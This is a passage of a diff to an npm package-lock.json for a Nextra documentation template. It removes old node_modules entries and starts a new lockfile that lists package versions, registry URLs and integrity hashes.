"https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", - "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/source-map": { - "version": "0.7.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", - "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", - "engines": { - "node": ">= 8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.0.tgz", - "integrity": "sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/space-separated-tokens": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", - "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" - }, - "node_modules/streamsearch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", - "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/stringify-entities": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.3.tgz", - "integrity": "sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==", - "dependencies": { - "character-entities-html4": "^2.0.0", - "character-entities-legacy": "^3.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/strip-bom-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", - "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/style-to-object": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.4.4.tgz", - "integrity": "sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==", - "dependencies": { - "inline-style-parser": "0.1.1" - } - }, - "node_modules/styled-jsx": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.1.tgz", - "integrity": "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==", - "dependencies": { - "client-only": "0.0.1" - }, - "engines": { - "node": ">= 12.0.0" - }, - "peerDependencies": { - "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0" - }, - "peerDependenciesMeta": { - "@babel/core": { - "optional": true - }, - "babel-plugin-macros": { - "optional": true - } - } - }, - "node_modules/stylis": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.3.1.tgz", - "integrity": "sha512-EQepAV+wMsIaGVGX1RECzgrcqRRU/0sYOHkeLsZ3fzHaHXZy4DaOOX0vOlGQdlsjkh3mFHAIlVimpwAs4dslyQ==" - }, - "node_modules/supports-color": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", - "integrity": "sha512-ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==", - "dependencies": { - "has-flag": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/title": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/title/-/title-3.5.3.tgz", - "integrity": "sha512-20JyowYglSEeCvZv3EZ0nZ046vLarO37prvV0mbtQV7C8DJPGgN967r8SJkqd3XK3K3lD3/Iyfp3avjfil8Q2Q==", - "dependencies": { - "arg": "1.0.0", - "chalk": "2.3.0", - "clipboardy": "1.2.2", - "titleize": "1.0.0" - }, - "bin": { - "title": "bin/title.js" - } - }, - "node_modules/titleize": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/titleize/-/titleize-1.0.0.tgz", - "integrity": "sha512-TARUb7z1pGvlLxgPk++7wJ6aycXF3GJ0sNSBTAsTuJrQG5QuZlkUQP+zl+nbjAh4gMX9yDw9ZYklMd7vAfJKEw==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/trim-lines": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", - "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/trough": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", - "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/ts-dedent": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/ts-dedent/-/ts-dedent-2.2.0.tgz", - "integrity": "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==", - "engines": { - "node": ">=6.10" - } - }, - "node_modules/tslib": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", - "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" - }, - "node_modules/type-fest": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz", - "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/typescript": { - "version": "4.9.5", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", - "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", - "dev": true, - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=4.2.0" - } - }, - "node_modules/unified": { - "version": "10.1.2", - "resolved": "https://registry.npmjs.org/unified/-/unified-10.1.2.tgz", - "integrity": "sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==", - "dependencies": { - "@types/unist": "^2.0.0", - "bail": "^2.0.0", - "extend": "^3.0.0", - "is-buffer": "^2.0.0", - "is-plain-obj": "^4.0.0", - "trough": "^2.0.0", - "vfile": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unified/node_modules/is-plain-obj": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", - "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/unist-util-find-after": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-find-after/-/unist-util-find-after-5.0.0.tgz", - "integrity": "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-find-after/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/unist-util-find-after/node_modules/unist-util-is": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", - "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-generated": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-2.0.1.tgz", - "integrity": "sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-is": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-5.2.1.tgz", - "integrity": "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==", - "dependencies": { - "@types/unist": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-position": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-4.0.4.tgz", - "integrity": "sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==", - "dependencies": { - "@types/unist": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-position-from-estree": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-1.1.2.tgz", - "integrity": "sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==", - "dependencies": { - "@types/unist": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-remove": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-remove/-/unist-util-remove-4.0.0.tgz", - "integrity": "sha512-b4gokeGId57UVRX/eVKej5gXqGlc9+trkORhFJpu9raqZkZhU0zm8Doi05+HaiBsMEIJowL+2WtQ5ItjsngPXg==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0", - "unist-util-visit-parents": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-remove-position": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-5.0.0.tgz", - "integrity": "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-visit": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-remove-position/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/unist-util-remove/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/unist-util-remove/node_modules/unist-util-is": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", - "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-stringify-position": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-3.0.3.tgz", - "integrity": "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==", - "dependencies": { - "@types/unist": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz", - "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0", - "unist-util-visit-parents": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit-parents": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.1.tgz", - "integrity": "sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit-parents/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/unist-util-visit-parents/node_modules/unist-util-is": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", - "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/unist-util-visit/node_modules/unist-util-is": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", - "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/uuid": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", - "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "bin": { - "uuid": "dist/bin/uuid" - } - }, - "node_modules/uvu": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/uvu/-/uvu-0.5.6.tgz", - "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==", - "dependencies": { - "dequal": "^2.0.0", - "diff": "^5.0.0", - "kleur": "^4.0.3", - "sade": "^1.7.3" - }, - "bin": { - "uvu": "bin.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/vfile": { - "version": "5.3.7", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-5.3.7.tgz", - "integrity": "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==", - "dependencies": { - "@types/unist": "^2.0.0", - "is-buffer": "^2.0.0", - "unist-util-stringify-position": "^3.0.0", - "vfile-message": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-location": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.2.tgz", - "integrity": "sha512-NXPYyxyBSH7zB5U6+3uDdd6Nybz6o6/od9rk8bp9H8GR3L+cm/fC0uUTbqBmUTnMCUDslAGBOIKNfvvb+gGlDg==", - "dependencies": { - "@types/unist": "^3.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-location/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/vfile-location/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-location/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-matter": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vfile-matter/-/vfile-matter-3.0.1.tgz", - "integrity": "sha512-CAAIDwnh6ZdtrqAuxdElUqQRQDQgbbIrYtDYI8gCjXS1qQ+1XdLoK8FIZWxJwn0/I+BkSSZpar3SOgjemQz4fg==", - "dependencies": { - "@types/js-yaml": "^4.0.0", - "is-buffer": "^2.0.0", - "js-yaml": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-matter/node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" - }, - "node_modules/vfile-matter/node_modules/js-yaml": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", - "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/vfile-message": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.2.tgz", - "integrity": "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-message/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/vfile-message/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vscode-oniguruma": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", - "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==" - }, - "node_modules/vscode-textmate": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-8.0.0.tgz", - "integrity": "sha512-AFbieoL7a5LMqcnOF04ji+rpXadgOXnZsxQr//r83kLPr7biP7am3g9zbaZIaBGwBRWeSvoMD4mgPdX3e4NWBg==" - }, - "node_modules/watchpack": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", - "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", - "dependencies": { - "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.1.2" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/web-namespaces": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz", - "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/web-worker": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/web-worker/-/web-worker-1.3.0.tgz", - "integrity": "sha512-BSR9wyRsy/KOValMgd5kMyr3JzpdeoR9KVId8u5GVlTTAtNChlsE4yTxeY7zMdNSyOmoKBv8NH2qeRY9Tg+IaA==" - }, - "node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==" - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "3.22.4", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.22.4.tgz", - "integrity": "sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zwitch": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", - "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - } - } -} +{ + "name": "nextra-docs-template", + "version": "0.0.1", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "nextra-docs-template", + "version": "0.0.1", + "license": "MIT", + "dependencies": { + "next": "^13.5.6", + "nextra": "latest", + "nextra-theme-docs": "latest", + "react": "^18.2.0", + "react-dom": "^18.2.0" + }, + "devDependencies": { + "@types/node": "18.11.10", + "typescript": "^4.9.3" + } + }, + "node_modules/@babel/runtime": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.24.1.tgz", + "integrity": "sha512-+BIznRzyqBf+2wCTxcKE3wDjfGeCoVE61KSHGpkzqrLi8qxqFwBeUFyId2cxkTmm55fzDGnm0+yCxaxygrLUnQ==", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@braintree/sanitize-url": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-6.0.4.tgz", + "integrity": "sha512-s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A==" + }, + "node_modules/@headlessui/react": { + "version": "1.7.18", + "resolved": 